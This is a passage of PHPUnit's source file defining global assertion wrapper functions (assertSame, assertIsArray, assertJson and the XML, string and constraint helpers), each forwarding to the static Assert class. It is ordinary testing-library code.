\SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertClassNotHasStaticAttribute */ function assertClassNotHasStaticAttribute(string $attributeName, string $className, string $message = ''): void { Assert::assertClassNotHasStaticAttribute(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertObjectHasAttribute')) { /** * Asserts that an object has a specified attribute. * * @param object $object * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertObjectHasAttribute */ function assertObjectHasAttribute(string $attributeName, $object, string $message = ''): void { Assert::assertObjectHasAttribute(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertObjectNotHasAttribute')) { /** * Asserts that an object does not have a specified attribute. * * @param object $object * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertObjectNotHasAttribute */ function assertObjectNotHasAttribute(string $attributeName, $object, string $message = ''): void { Assert::assertObjectNotHasAttribute(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertSame')) { /** * Asserts that two variables have the same type and value. * Used on objects, it asserts that two variables reference * the same object. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @psalm-template ExpectedType * @psalm-param ExpectedType $expected * @psalm-assert =ExpectedType $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertSame */ function assertSame($expected, $actual, string $message = ''): void { Assert::assertSame(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNotSame')) { /** * Asserts that two variables do not have the same type and value. * Used on objects, it asserts that two variables do not reference * the same object. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNotSame */ function assertNotSame($expected, $actual, string $message = ''): void { Assert::assertNotSame(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertInstanceOf')) { /** * Asserts that a variable is of a given type. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * * @psalm-template ExpectedType of object * @psalm-param class-string $expected * @psalm-assert =ExpectedType $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertInstanceOf */ function assertInstanceOf(string $expected, $actual, string $message = ''): void { Assert::assertInstanceOf(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNotInstanceOf')) { /** * Asserts that a variable is not of a given type. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * * @psalm-template ExpectedType of object * @psalm-param class-string $expected * @psalm-assert !ExpectedType $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNotInstanceOf */ function assertNotInstanceOf(string $expected, $actual, string $message = ''): void { Assert::assertNotInstanceOf(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsArray')) { /** * Asserts that a variable is of type array. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @psalm-assert array $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsArray */ function assertIsArray($actual, string $message = ''): void { Assert::assertIsArray(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsBool')) { /** * Asserts that a variable is of type bool. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @psalm-assert bool $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsBool */ function assertIsBool($actual, string $message = ''): void { Assert::assertIsBool(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsFloat')) { /** * Asserts that a variable is of type float. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @psalm-assert float $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsFloat */ function assertIsFloat($actual, string $message = ''): void { Assert::assertIsFloat(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsInt')) { /** * Asserts that a variable is of type int. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @psalm-assert int $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsInt */ function assertIsInt($actual, string $message = ''): void { Assert::assertIsInt(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsNumeric')) { /** * Asserts that a variable is of type numeric. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @psalm-assert numeric $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsNumeric */ function assertIsNumeric($actual, string $message = ''): void { Assert::assertIsNumeric(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsObject')) { /** * Asserts that a variable is of type object. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @psalm-assert object $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsObject */ function assertIsObject($actual, string $message = ''): void { Assert::assertIsObject(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsResource')) { /** * Asserts that a variable is of type resource. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @psalm-assert resource $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsResource */ function assertIsResource($actual, string $message = ''): void { Assert::assertIsResource(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsClosedResource')) { /** * Asserts that a variable is of type resource and is closed. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @psalm-assert resource $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsClosedResource */ function assertIsClosedResource($actual, string $message = ''): void { Assert::assertIsClosedResource(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsString')) { /** * Asserts that a variable is of type string. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @psalm-assert string $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsString */ function assertIsString($actual, string $message = ''): void { Assert::assertIsString(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsScalar')) { /** * Asserts that a variable is of type scalar. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @psalm-assert scalar $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsScalar */ function assertIsScalar($actual, string $message = ''): void { Assert::assertIsScalar(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsCallable')) { /** * Asserts that a variable is of type callable. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @psalm-assert callable $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsCallable */ function assertIsCallable($actual, string $message = ''): void { Assert::assertIsCallable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsIterable')) { /** * Asserts that a variable is of type iterable. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @psalm-assert iterable $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsIterable */ function assertIsIterable($actual, string $message = ''): void { Assert::assertIsIterable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsNotArray')) { /** * Asserts that a variable is not of type array. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @psalm-assert !array $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsNotArray */ function assertIsNotArray($actual, string $message = ''): void { Assert::assertIsNotArray(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsNotBool')) { /** * Asserts that a variable is not of type bool. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @psalm-assert !bool $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsNotBool */ function assertIsNotBool($actual, string $message = ''): void { Assert::assertIsNotBool(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsNotFloat')) { /** * Asserts that a variable is not of type float. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @psalm-assert !float $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsNotFloat */ function assertIsNotFloat($actual, string $message = ''): void { Assert::assertIsNotFloat(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsNotInt')) { /** * Asserts that a variable is not of type int. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @psalm-assert !int $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsNotInt */ function assertIsNotInt($actual, string $message = ''): void { Assert::assertIsNotInt(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsNotNumeric')) { /** * Asserts that a variable is not of type numeric. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @psalm-assert !numeric $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsNotNumeric */ function assertIsNotNumeric($actual, string $message = ''): void { Assert::assertIsNotNumeric(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsNotObject')) { /** * Asserts that a variable is not of type object. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @psalm-assert !object $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsNotObject */ function assertIsNotObject($actual, string $message = ''): void { Assert::assertIsNotObject(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsNotResource')) { /** * Asserts that a variable is not of type resource. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @psalm-assert !resource $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsNotResource */ function assertIsNotResource($actual, string $message = ''): void { Assert::assertIsNotResource(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsNotClosedResource')) { /** * Asserts that a variable is not of type resource. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @psalm-assert !resource $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsNotClosedResource */ function assertIsNotClosedResource($actual, string $message = ''): void { Assert::assertIsNotClosedResource(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsNotString')) { /** * Asserts that a variable is not of type string. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @psalm-assert !string $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsNotString */ function assertIsNotString($actual, string $message = ''): void { Assert::assertIsNotString(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsNotScalar')) { /** * Asserts that a variable is not of type scalar. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @psalm-assert !scalar $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsNotScalar */ function assertIsNotScalar($actual, string $message = ''): void { Assert::assertIsNotScalar(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsNotCallable')) { /** * Asserts that a variable is not of type callable. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @psalm-assert !callable $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsNotCallable */ function assertIsNotCallable($actual, string $message = ''): void { Assert::assertIsNotCallable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertIsNotIterable')) { /** * Asserts that a variable is not of type iterable. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @psalm-assert !iterable $actual * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertIsNotIterable */ function assertIsNotIterable($actual, string $message = ''): void { Assert::assertIsNotIterable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertMatchesRegularExpression')) { /** * Asserts that a string matches a given regular expression. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertMatchesRegularExpression */ function assertMatchesRegularExpression(string $pattern, string $string, string $message = ''): void { Assert::assertMatchesRegularExpression(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertRegExp')) { /** * Asserts that a string matches a given regular expression. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @codeCoverageIgnore * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4086 * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertRegExp */ function assertRegExp(string $pattern, string $string, string $message = ''): void { Assert::assertRegExp(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertDoesNotMatchRegularExpression')) { /** * Asserts that a string does not match a given regular expression. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertDoesNotMatchRegularExpression */ function assertDoesNotMatchRegularExpression(string $pattern, string $string, string $message = ''): void { Assert::assertDoesNotMatchRegularExpression(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNotRegExp')) { /** * Asserts that a string does not match a given regular expression. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @codeCoverageIgnore * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4089 * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNotRegExp */ function assertNotRegExp(string $pattern, string $string, string $message = ''): void { Assert::assertNotRegExp(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertSameSize')) { /** * Assert that the size of two arrays (or `Countable` or `Traversable` objects) * is the same. * * @param Countable|iterable $expected * @param Countable|iterable $actual * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertSameSize */ function assertSameSize($expected, $actual, string $message = ''): void { Assert::assertSameSize(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertNotSameSize')) { /** * Assert that the size of two arrays (or `Countable` or `Traversable` objects) * is not the same. * * @param Countable|iterable $expected * @param Countable|iterable $actual * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertNotSameSize */ function assertNotSameSize($expected, $actual, string $message = ''): void { Assert::assertNotSameSize(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringMatchesFormat')) { /** * Asserts that a string matches a given format string. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringMatchesFormat */ function assertStringMatchesFormat(string $format, string $string, string $message = ''): void { Assert::assertStringMatchesFormat(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringNotMatchesFormat')) { /** * Asserts that a string does not match a given format string. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringNotMatchesFormat */ function assertStringNotMatchesFormat(string $format, string $string, string $message = ''): void { Assert::assertStringNotMatchesFormat(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringMatchesFormatFile')) { /** * Asserts that a string matches a given format file. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringMatchesFormatFile */ function assertStringMatchesFormatFile(string $formatFile, string $string, string $message = ''): void { Assert::assertStringMatchesFormatFile(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringNotMatchesFormatFile')) { /** * Asserts that a string does not match a given format string. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringNotMatchesFormatFile */ function assertStringNotMatchesFormatFile(string $formatFile, string $string, string $message = ''): void { Assert::assertStringNotMatchesFormatFile(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringStartsWith')) { /** * Asserts that a string starts with a given prefix. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringStartsWith */ function assertStringStartsWith(string $prefix, string $string, string $message = ''): void { Assert::assertStringStartsWith(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringStartsNotWith')) { /** * Asserts that a string starts not with a given prefix. * * @param string $prefix * @param string $string * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringStartsNotWith */ function assertStringStartsNotWith($prefix, $string, string $message = ''): void { Assert::assertStringStartsNotWith(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringContainsString')) { /** * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringContainsString */ function assertStringContainsString(string $needle, string $haystack, string $message = ''): void { Assert::assertStringContainsString(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringContainsStringIgnoringCase')) { /** * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringContainsStringIgnoringCase */ function assertStringContainsStringIgnoringCase(string $needle, string $haystack, string $message = ''): void { Assert::assertStringContainsStringIgnoringCase(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringNotContainsString')) { /** * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringNotContainsString */ function assertStringNotContainsString(string $needle, string $haystack, string $message = ''): void { Assert::assertStringNotContainsString(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringNotContainsStringIgnoringCase')) { /** * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringNotContainsStringIgnoringCase */ function assertStringNotContainsStringIgnoringCase(string $needle, string $haystack, string $message = ''): void { Assert::assertStringNotContainsStringIgnoringCase(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringEndsWith')) { /** * Asserts that a string ends with a given suffix. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringEndsWith */ function assertStringEndsWith(string $suffix, string $string, string $message = ''): void { Assert::assertStringEndsWith(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertStringEndsNotWith')) { /** * Asserts that a string ends not with a given suffix. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertStringEndsNotWith */ function assertStringEndsNotWith(string $suffix, string $string, string $message = ''): void { Assert::assertStringEndsNotWith(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertXmlFileEqualsXmlFile')) { /** * Asserts that two XML files are equal. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertXmlFileEqualsXmlFile */ function assertXmlFileEqualsXmlFile(string $expectedFile, string $actualFile, string $message = ''): void { Assert::assertXmlFileEqualsXmlFile(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertXmlFileNotEqualsXmlFile')) { /** * Asserts that two XML files are not equal. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws \PHPUnit\Util\Exception * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertXmlFileNotEqualsXmlFile */ function assertXmlFileNotEqualsXmlFile(string $expectedFile, string $actualFile, string $message = ''): void { Assert::assertXmlFileNotEqualsXmlFile(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertXmlStringEqualsXmlFile')) { /** * Asserts that two XML documents are equal. * * @param DOMDocument|string $actualXml * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws \PHPUnit\Util\Xml\Exception * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertXmlStringEqualsXmlFile */ function assertXmlStringEqualsXmlFile(string $expectedFile, $actualXml, string $message = ''): void { Assert::assertXmlStringEqualsXmlFile(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertXmlStringNotEqualsXmlFile')) { /** * Asserts that two XML documents are not equal. * * @param DOMDocument|string $actualXml * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws \PHPUnit\Util\Xml\Exception * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertXmlStringNotEqualsXmlFile */ function assertXmlStringNotEqualsXmlFile(string $expectedFile, $actualXml, string $message = ''): void { Assert::assertXmlStringNotEqualsXmlFile(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertXmlStringEqualsXmlString')) { /** * Asserts that two XML documents are equal. * * @param DOMDocument|string $expectedXml * @param DOMDocument|string $actualXml * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws \PHPUnit\Util\Xml\Exception * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertXmlStringEqualsXmlString */ function assertXmlStringEqualsXmlString($expectedXml, $actualXml, string $message = ''): void { Assert::assertXmlStringEqualsXmlString(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertXmlStringNotEqualsXmlString')) { /** * Asserts that two XML documents are not equal. * * @param DOMDocument|string $expectedXml * @param DOMDocument|string $actualXml * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws \PHPUnit\Util\Xml\Exception * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertXmlStringNotEqualsXmlString */ function assertXmlStringNotEqualsXmlString($expectedXml, $actualXml, string $message = ''): void { Assert::assertXmlStringNotEqualsXmlString(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertEqualXMLStructure')) { /** * Asserts that a hierarchy of DOMElements matches. * * @throws AssertionFailedError * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @codeCoverageIgnore * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4091 * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertEqualXMLStructure */ function assertEqualXMLStructure(DOMElement $expectedElement, DOMElement $actualElement, bool $checkAttributes = false, string $message = ''): void { Assert::assertEqualXMLStructure(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertThat')) { /** * Evaluates a PHPUnit\Framework\Constraint matcher object. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertThat */ function assertThat($value, Constraint $constraint, string $message = ''): void { Assert::assertThat(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertJson')) { /** * Asserts that a string is a valid JSON string. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertJson */ function assertJson(string $actualJson, string $message = ''): void { Assert::assertJson(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertJsonStringEqualsJsonString')) { /** * Asserts that two given JSON encoded objects or arrays are equal. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertJsonStringEqualsJsonString */ function assertJsonStringEqualsJsonString(string $expectedJson, string $actualJson, string $message = ''): void { Assert::assertJsonStringEqualsJsonString(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertJsonStringNotEqualsJsonString')) { /** * Asserts that two given JSON encoded objects or arrays are not equal. * * @param string $expectedJson * @param string $actualJson * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertJsonStringNotEqualsJsonString */ function assertJsonStringNotEqualsJsonString($expectedJson, $actualJson, string $message = ''): void { Assert::assertJsonStringNotEqualsJsonString(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertJsonStringEqualsJsonFile')) { /** * Asserts that the generated JSON encoded object and the content of the given file are equal. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertJsonStringEqualsJsonFile */ function assertJsonStringEqualsJsonFile(string $expectedFile, string $actualJson, string $message = ''): void { Assert::assertJsonStringEqualsJsonFile(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertJsonStringNotEqualsJsonFile')) { /** * Asserts that the generated JSON encoded object and the content of the given file are not equal. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertJsonStringNotEqualsJsonFile */ function assertJsonStringNotEqualsJsonFile(string $expectedFile, string $actualJson, string $message = ''): void { Assert::assertJsonStringNotEqualsJsonFile(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertJsonFileEqualsJsonFile')) { /** * Asserts that two JSON files are equal. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertJsonFileEqualsJsonFile */ function assertJsonFileEqualsJsonFile(string $expectedFile, string $actualFile, string $message = ''): void { Assert::assertJsonFileEqualsJsonFile(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertJsonFileNotEqualsJsonFile')) { /** * Asserts that two JSON files are not equal. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertJsonFileNotEqualsJsonFile */ function assertJsonFileNotEqualsJsonFile(string $expectedFile, string $actualFile, string $message = ''): void { Assert::assertJsonFileNotEqualsJsonFile(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\logicalAnd')) { function logicalAnd(): LogicalAnd { return Assert::logicalAnd(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\logicalOr')) { function logicalOr(): LogicalOr { return Assert::logicalOr(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\logicalNot')) { function logicalNot(Constraint $constraint): LogicalNot { return Assert::logicalNot(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\logicalXor')) { function logicalXor(): LogicalXor { return Assert::logicalXor(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\anything')) { function anything(): IsAnything { return Assert::anything(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\isTrue')) { function isTrue(): IsTrue { return Assert::isTrue(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\callback')) { function callback(callable $callback): Callback { return Assert::callback(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\isFalse')) { function isFalse(): IsFalse { return Assert::isFalse(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\isJson')) { function isJson(): IsJson { return Assert::isJson(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\isNull')) { function isNull(): IsNull { return Assert::isNull(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\isFinite')) { function isFinite(): IsFinite { return Assert::isFinite(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\isInfinite')) { function isInfinite(): IsInfinite { return Assert::isInfinite(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\isNan')) { function isNan(): IsNan { return Assert::isNan(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\containsEqual')) { function 